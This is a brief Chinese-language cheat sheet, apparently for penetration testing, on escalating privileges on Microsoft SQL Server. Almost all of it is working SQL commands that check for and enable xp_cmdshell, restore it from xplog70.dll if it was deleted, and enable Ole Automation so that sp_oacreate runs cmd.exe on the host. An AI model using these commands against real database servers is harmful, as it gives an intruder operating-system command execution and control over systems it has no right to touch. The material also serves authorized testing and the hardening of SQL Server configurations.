1 XP_CMDSHELL 提权
连接数据库之后首先先看下xp_cmdshell 组件是否存在
SELECT count(*) FROM master.dbo.sysobjects WHERE xtype='x' and name ='xp_cmdshell';
如果返回为1,则证明存在
如图代表xp_cmdshell 组件存在
接下来启用xp_cmdshell
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
开启之后可以直接命令执行
EXEC master..xp_cmdshell 'whoami';
关闭XP_cmdshell的命令
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell', 0;
reconfigure;
如果xp_cmdshell 被删除了的话可以上传xplog70.dll进行恢复
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'
2 SP_OACREATE 提权
开启组件必须是sa权限才可以开启
开启sp_oacreate命令
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
执行命令
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\Users\Public\1.txt'